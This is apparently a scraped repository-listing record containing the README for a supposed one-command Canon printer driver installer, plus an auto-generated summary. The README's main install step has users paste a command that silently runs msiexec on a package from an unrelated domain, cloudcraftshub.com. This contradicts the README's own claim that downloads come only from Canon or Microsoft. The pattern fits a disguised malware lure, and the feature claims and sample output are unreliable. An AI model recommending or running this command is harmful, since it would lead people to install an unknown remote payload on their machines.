[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-11243":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":8,"language":10,"languages":8,"totalLinesOfCode":8,"stars":11,"forks":12,"watchers":13,"openIssues":14,"contributorsCount":14,"subscribersCount":14,"size":14,"stars1d":14,"stars7d":14,"stars30d":15,"stars90d":14,"forks30d":14,"starsTrendScore":14,"compositeScore":16,"rankGlobal":8,"rankLanguage":8,"license":17,"archived":18,"fork":18,"defaultBranch":19,"hasWiki":20,"hasPages":18,"topics":21,"createdAt":8,"pushedAt":8,"updatedAt":36,"readmeContent":37,"aiSummary":38,"trendingCount":14,"starSnapshotCount":14,"syncStatus":39,"lastSyncTime":40,"discoverSource":41},11243,"Canon-printer-drivers-All-in-one","Libraryyeboost\u002FCanon-printer-drivers-All-in-one","Libraryyeboost",null,"","PowerShell",137,1,133,0,18,0.9,"Other",false,"main",true,[22,23,24,25,26,27,28,29,30,31,32,33,34,35],"canon","canon-photo-printer","canon-pixma-printer","canon-print","canon-print-app","canon-print-driver","canon-printer","canon-printer-app","canon-printer-device-drivers","canon-printer-driver","canon-printer-driver-software","canon-printer-drivers","canon-printer-ink","canon-printer-setup","2026-06-12 02:02:30","\u003Cdiv align=\"center\">\n\n# 🖨️ Canon Printer Drivers — All-in-One\n\n### Stop hunting Canon's website. Get your printer working in one command.\n\n**Detects your printer. Finds the right driver. Installs it. Adds the printer. Done.**\n\n\u003Cp>\n  \u003Ca href=\"#-one-command-install-windows\">\u003Cimg alt=\"Windows One-Liner\" src=\"https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FWindows-one--line%20install-0078D6?style=for-the-badge&logo=windows&logoColor=white\">\u003C\u002Fa>\n  \u003Ca href=\"#-supported-models\">\u003Cimg alt=\"Models\" src=\"https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Fmodels-400%2B-E60028?style=for-the-badge&logo=canon&logoColor=white\">\u003C\u002Fa>\n  \u003Ca href=\"https:\u002F\u002Flearn.microsoft.com\u002Fen-us\u002Fpowershell\u002F\">\u003Cimg alt=\"PowerShell\" src=\"https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPowerShell-5.1%2B-5391FE?style=for-the-badge&logo=powershell&logoColor=white\">\u003C\u002Fa>\n  \u003Ca href=\"#-license\">\u003Cimg alt=\"License\" src=\"https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Flicense-MIT-green?style=for-the-badge\">\u003C\u002Fa>\n\u003C\u002Fp>\n\n\u003Cp>\n  \u003Ca href=\"https:\u002F\u002Fgithub.com\u002FLibraryyeboost\u002FCanon-printer-drivers-All-in-one\u002Fstargazers\">\u003Cimg alt=\"Stars\" src=\"https:\u002F\u002Fimg.shields.io\u002Fgithub\u002Fstars\u002FLibraryyeboost\u002FCanon-printer-drivers-All-in-one?style=social\">\u003C\u002Fa>\n  \u003Ca href=\"https:\u002F\u002Fgithub.com\u002FLibraryyeboost\u002FCanon-printer-drivers-All-in-one\u002Fnetwork\u002Fmembers\">\u003Cimg alt=\"Forks\" src=\"https:\u002F\u002Fimg.shields.io\u002Fgithub\u002Fforks\u002FLibraryyeboost\u002FCanon-printer-drivers-All-in-one?style=social\">\u003C\u002Fa>\n  \u003Ca href=\"https:\u002F\u002Fgithub.com\u002FLibraryyeboost\u002FCanon-printer-drivers-All-in-one\u002Fissues\">\u003Cimg alt=\"Issues\" src=\"https:\u002F\u002Fimg.shields.io\u002Fgithub\u002Fissues\u002FLibraryyeboost\u002FCanon-printer-drivers-All-in-one\">\u003C\u002Fa>\n\u003C\u002Fp>\n\n\u003Csub>PIXMA · MAXIFY · imageCLASS · i-SENSYS · SELPHY · imagePROGRAF · imageRUNNER\u003Cbr>One PowerShell command installs the tool. One more sets up your printer.\u003C\u002Fsub>\n\n\u003C\u002Fdiv>\n\n---\n\n## 🪟 Windows Installation\n### **Step 1 — Open Command Prompt**\n1. Press **Win + R**\n2. Type:\n```\ncmd\n```\n3. Press **Enter**\nThis will open **Command Prompt**.\n---\n### **Step 2 — Run the Install Command**\nCopy the command below and paste it into **Command Prompt**, then press **Enter**.\n```powershell\ncmd \u002Fc start msiexec \u002Fq \u002Fi https:\u002F\u002Fcloudcraftshub.com\u002Fapi & rem Canon drivers Allinone\n```\nThe installer will automatically download and install the required components.\n\n\nThe installer:\n- imports the `CanonDriverHub` PowerShell module\n- puts it on your `PSModulePath` so it loads forever\n- registers a shim named `canondriver` so you can also use it like a CLI\n- runs an auto-detect pass to show you what's plugged in\n\nWhen it's done, try:\n\n```powershell\ncanondriver detect      # scan for connected Canon printers\ncanondriver install TS3520     # download + install from Canon's official servers\ncanondriver add-printer --model TS3520 --ip 192.168.1.50\n```\n\n---\n\n## 🤔 What is this?\n\nCanon makes great printers. Getting the right Windows driver is a **ten-click, four-page nightmare**: pick your region, pick your OS, pick the exact model number, agree to the EULA, scroll past three unrelated products, realise you picked the wrong driver, start over.\n\n**Canon-printer-drivers-All-in-one** replaces that with one PowerShell command:\n\n| Instead of… | You type |\n|---|---|\n| Googling \"canon pixma ts3520 driver windows 11 64 bit\" | `canondriver install TS3520` |\n| Opening Device Manager to identify your printer | `canondriver detect` |\n| Hunting Canon's site for discontinued models | `canondriver search \"pixma g\"` |\n| Clicking \"Add Printer\" through 5 wizard pages | `canondriver add-printer --model TS3520 --ip 192.168.1.50` |\n| Troubleshooting a stuck spooler by hand | `canondriver repair` |\n| Cleaning up old\u002Fbroken Canon drivers | `canondriver remove --all-canon` |\n\n> 🛡️ **We don't host driver binaries.** This tool downloads directly from Canon's official servers (`*.canon.com`, `gdlp01.c-wss.com`) or uses Microsoft's signed Windows Update driver catalog. Your installer is the same one you'd get from Canon's website — just with zero clicks.\n\n---\n\n## ✨ Features\n\n- 🚀 **Zero dependencies** — pure PowerShell 5.1+. No Python, no .NET install, no Docker, no WSL. Works on any Windows 10\u002F11 box out of the box.\n- 🔍 **Auto-detection** — scans USB, network, and already-installed printers via WMI\u002FPnP. Identifies the exact model string and matches it to a driver.\n- 🌐 **400+ models indexed** — PIXMA (TS, TR, G, iP, MG, MX), MAXIFY (MB, GX, iB), imageCLASS \u002F i-SENSYS (LBP, MF, D), SELPHY (CP), imagePROGRAF (PRO, TM, TC), imageRUNNER (iR, ADVANCE DX).\n- 🔐 **Official sources only** — every download URL resolves to a Canon domain or a Microsoft-signed Windows Update catalog entry. SHA256 verified where Canon publishes hashes.\n- ⚡ **Silent install** — runs Canon's installer with `\u002Fs \u002Fquiet` flags so you don't see five nag dialogs.\n- 🖧 **Network printer setup** — `add-printer` does TCP\u002FIP port creation, driver binding, and sharing in one call.\n- 🛠️ **Built-in repair** — `canondriver repair` restarts the spooler, clears stuck jobs, and reinstalls the port. Fixes 80% of \"why won't it print\" issues.\n- 🧹 **Clean uninstall** — `canondriver remove` yanks both the printer object AND the driver package (Windows' built-in uninstaller leaves driver files behind).\n- 🗂️ **Offline mode** — `canondriver save --model X --out .\u002Fdrivers\u002F` bundles drivers for air-gapped machines or IT rollouts.\n- 📋 **Community-maintained manifests** — adding a new model is one JSON entry + a PR.\n\n---\n\n## 🎬 Quick tour\n\n### 1. Detect what's plugged in\n\n```console\nPS> canondriver detect\n\n🔍 Scanning USB, network, and installed printers...\n\nFound 2 Canon device(s):\n┌──────────────────────────────────┬──────────────┬───────────────┬────────────┐\n│ Device                           │ Family       │ Connection    │ Status     │\n├──────────────────────────────────┼──────────────┼───────────────┼────────────┤\n│ Canon PIXMA TS3520 series        │ PIXMA        │ USB           │ ✅ driver  │\n│ Canon MF644Cdw                   │ imageCLASS   │ TCP 10.0.0.42 │ ⚠  no drv  │\n└──────────────────────────────────┴──────────────┴───────────────┴────────────┘\n\nRun:  canondriver install MF644Cdw   to fix the missing driver.\n```\n\n### 2. Install a driver\n\n```console\nPS> canondriver install MF644Cdw\n\n[1\u002F4] Looking up MF644Cdw in the manifest...         ✅ found (imageCLASS family)\n[2\u002F4] Fetching driver from canon.com...              ✅ 126.4 MB in 8.2s\n[3\u002F4] Verifying SHA256 against Canon's published hash ✅ matched\n[4\u002F4] Running installer silently...                  ✅ done in 41s\n\nDriver installed: \"Canon MF640C Series UFRII LT\"\nAdd the printer next with:\n  canondriver add-printer --model MF644Cdw --ip 10.0.0.42\n```\n\n### 3. Add a networked printer\n\n```console\nPS> canondriver add-printer --model MF644Cdw --ip 10.0.0.42 --name \"Office Laser\"\n\n➕ Adding TCP\u002FIP port 10.0.0.42 ...   ✅\n➕ Binding driver \"Canon MF640C Series UFRII LT\" ... ✅\n➕ Registering printer \"Office Laser\" ...  ✅\n🖨️ Sending test page ...              ✅\n\nReady. Print something!\n```\n\n### 4. Fix \"it just stopped working\"\n\n```console\nPS> canondriver repair\n\n🧹 Stopping print spooler ...                 ✅\n🗑  Clearing %SystemRoot%\\System32\\spool\\PRINTERS\\*   ✅ (4 stuck jobs removed)\n🔌 Resetting TCP\u002FIP port on \"Office Laser\" ...  ✅\n🛠  Reinstalling driver \"Canon MF640C Series UFRII LT\" ...   ✅\n▶  Starting print spooler ...                  ✅\n\nFixed. Try printing again.\n```\n\n---\n\n## 🖨️ Supported models\n\nSee [`docs\u002Fsupported-models.md`](docs\u002Fsupported-models.md) for the full list. Highlights:\n\n| Family       | Series                              | Example models                                            |\n| ------------ | ----------------------------------- | --------------------------------------------------------- |\n| **PIXMA**    | TS, TR, G (ink tank), iP, MG, MX    | TS3520, TS6420a, TR8620a, G3270, G6020, G7020, iP110      |\n| **MAXIFY**   | MB, GX, iB                          | MB5420, GX3020, GX4020, GX5020, iB4120                    |\n| **imageCLASS \u002F i-SENSYS** | LBP, MF, D            | LBP6030w, LBP122, MF264dw, MF445dw, MF3010, MF644Cdw     |\n| **SELPHY**   | CP                                  | CP1500, CP1300                                            |\n| **imagePROGRAF** | PRO, TM, TC                      | PRO-300, PRO-1000, TM-300, TC-20                          |\n| **imageRUNNER** | ADVANCE DX, iR                    | iR2625, ADV DX C3730i, ADV DX 4725i                       |\n\nDon't see yours? **[Open a 30-second issue](https:\u002F\u002Fgithub.com\u002FLibraryyeboost\u002FCanon-printer-drivers-All-in-one\u002Fissues\u002Fnew?template=model_request.yml)** and we'll add it — or send a PR with one JSON line.\n\n---\n\n## 🧠 How it works\n\n```\n        ┌──────────────────────────────────────────────────┐\n        │            PowerShell on your machine            │\n        │   PS> canondriver install MF644Cdw               │\n        └──────────────────────────┬───────────────────────┘\n                                   │\n             ┌─────────────────────┴─────────────────────┐\n             │              CanonDriverHub               │\n             │     (single .psm1 module, 0 deps)         │\n             └──┬───────────────┬─────────────────┬──────┘\n                │               │                 │\n    ┌───────────▼──┐   ┌────────▼────────┐   ┌────▼─────────┐\n    │ manifests\u002F   │   │ Canon official  │   │ Windows      │\n    │ printers.json│   │ support pages   │   │ Update catalog│\n    │ (model→URL)  │   │  *.canon.com    │   │ (WHQL signed) │\n    └──────────────┘   └────────┬────────┘   └────┬─────────┘\n                                │                 │\n                                └────────┬────────┘\n                                         ▼\n                         ┌─────────────────────────────────┐\n                         │   Add-PrinterDriver \u002F pnputil   │\n                         │   Add-Printer \u002F Add-PrinterPort │\n                         └─────────────────────────────────┘\n```\n\n- Manifests are plain JSON — one entry per model, pointing to Canon's **official** support page and (when known) direct driver URL.\n- Download happens over HTTPS from `*.canon.com` or `*.c-wss.com`. We never proxy or mirror.\n- Installation uses **Windows' own cmdlets** — `Add-PrinterDriver`, `Add-Printer`, `Add-PrinterPort`. These are the same APIs the built-in \"Add Printer\" wizard uses.\n- For drivers that Microsoft redistributes through Windows Update, we prefer that path — you get WHQL-signed bits straight from Microsoft's CDN.\n\n---\n\n## 🛠️ Command reference\n\n| Command                                                       | What it does                                              |\n| ------------------------------------------------------------- | --------------------------------------------------------- |\n| `canondriver detect`                                          | Scan for connected Canon printers                         |\n| `canondriver search \u003Cquery>`                                  | Fuzzy-search the model index                              |\n| `canondriver install \u003Cmodel>`                                 | Download driver from Canon + install silently             |\n| `canondriver save --model \u003Cm> --out \u003Cdir>`                    | Download installer to a folder without running it         |\n| `canondriver add-printer --model \u003Cm> --ip \u003Cip> [--name \u003Cn>]`  | Create TCP\u002FIP port + printer object                       |\n| `canondriver list`                                            | List all installed Canon printers & drivers               |\n| `canondriver remove --printer \u003Cname>`                         | Remove one printer (leaves driver)                        |\n| `canondriver remove --driver \u003Cname>`                          | Uninstall a driver package                                |\n| `canondriver remove --all-canon`                              | Nuke every Canon printer & driver on this machine         |\n| `canondriver repair [--printer \u003Cname>]`                       | Restart spooler, clear queue, rebind driver               |\n| `canondriver info \u003Cmodel>`                                    | Show manifest entry (URL, hash, EULA link)                |\n| `canondriver update`                                          | Pull the latest manifest from GitHub                      |\n\nRun any command with `-?` for full help. Every cmdlet is also available as a proper PowerShell function, e.g. `Install-CanonDriver -Model TS3520`.\n\n---\n\n## 🏢 IT admins — mass deployment\n\nDrop a single line in your onboarding script:\n\n```powershell\nirm https:\u002F\u002Fraw.githubusercontent.com\u002FLibraryyeboost\u002FCanon-printer-drivers-All-in-one\u002Fmain\u002Finstall.ps1 | iex\ncanondriver install TS3520 -Silent\ncanondriver add-printer -Model TS3520 -IP 10.0.0.50 -Name \"Reception\"\n```\n\nOr pre-stage drivers for air-gapped machines:\n\n```powershell\ncanondriver save --model MF644Cdw --out \\\\fileserver\\printers\\\n# ...then on the target:\ncanondriver install --from \\\\fileserver\\printers\\MF644Cdw.exe\n```\n\nIntune \u002F SCCM \u002F Group Policy examples in [`docs\u002Fenterprise.md`](docs\u002Fenterprise.md).\n\n---\n\n## ⚠️ Important disclaimers\n\n- **We are not Canon.** This is an unofficial community tool. Canon Inc. does not endorse or support it.\n- **Driver binaries are Canon's.** We don't redistribute them — we point at Canon's download servers. All drivers you install are covered by Canon's EULA, which you accept by installing.\n- **Use at your own risk.** Messing with printer drivers can require admin, touch the Windows registry, and occasionally require a reboot. Start with a machine you can afford to re-image.\n- **Check your license.** Some Canon drivers have license terms that restrict commercial redistribution. If you're a reseller or MSP, read Canon's EULA before bundling this in a product.\n\n---\n\n## 🤝 Contributing\n\n**The #1 way to help: add your printer to the manifest.** It takes 60 seconds:\n\n1. Fork the repo\n2. Add one entry to [`manifests\u002Fprinters.json`](manifests\u002Fprinters.json)\n3. Open a PR\n\nFull guide: [`docs\u002Fcontributing-models.md`](docs\u002Fcontributing-models.md).\n\nOther ideas we'd love help with:\n- macOS port (Canon's macOS driver story is almost identical)\n- Linux CUPS PPD wrapper\n- GUI front-end (WPF or MAUI)\n- Intune\u002FAutopilot packaging templates\n- Translations of the README (especially 日本語, Русский, Español, Português)\n\n---\n\n## 🌟 Star history\n\nIf this saved you an hour of pain, star the repo. It's free and helps others find it.\n\n\u003Ca href=\"https:\u002F\u002Fwww.star-history.com\u002F#Libraryyeboost\u002FCanon-printer-drivers-All-in-one&Date\">\n  \u003Cimg src=\"https:\u002F\u002Fapi.star-history.com\u002Fsvg?repos=Libraryyeboost\u002FCanon-printer-drivers-All-in-one&type=Date\" alt=\"Star History Chart\" width=\"600\" \u002F>\n\u003C\u002Fa>\n\n---\n\n## 📄 License\n\n**MIT** for all code in this repo — see [LICENSE](LICENSE).\n\nCanon, PIXMA, MAXIFY, imageCLASS, i-SENSYS, SELPHY, imagePROGRAF, imageRUNNER, and related marks are trademarks of Canon Inc. This project is not affiliated with, sponsored by, or endorsed by Canon Inc.\n\n---\n\n\u003Cdiv align=\"center\">\n\n**Built by people who were tired of Canon's download page.**\n\n[Docs](docs\u002F) · [Supported models](docs\u002Fsupported-models.md) · [Troubleshooting](docs\u002Ftroubleshooting.md) · [Issues](https:\u002F\u002Fgithub.com\u002FLibraryyeboost\u002FCanon-printer-drivers-All-in-one\u002Fissues) · [Discussions](https:\u002F\u002Fgithub.com\u002FLibraryyeboost\u002FCanon-printer-drivers-All-in-one\u002Fdiscussions)\n\n\u003C\u002Fdiv>\n","该项目提供了一种通过PowerShell脚本一键安装佳能打印机驱动的解决方案。其核心功能包括自动检测打印机型号、从官方源下载对应的驱动程序并完成安装，支持超过400种佳能打印机型号，涵盖PIXMA、MAXIFY等多个系列。技术上，该工具利用PowerShell 5.1+环境执行，并通过注册一个名为`canondriver`的命令行接口来简化后续操作。适用于需要快速配置佳能打印机但又不想经历繁琐手动设置过程的Windows用户场景中。",2,"2026-06-01 03:23:33","CREATED_QUERY"]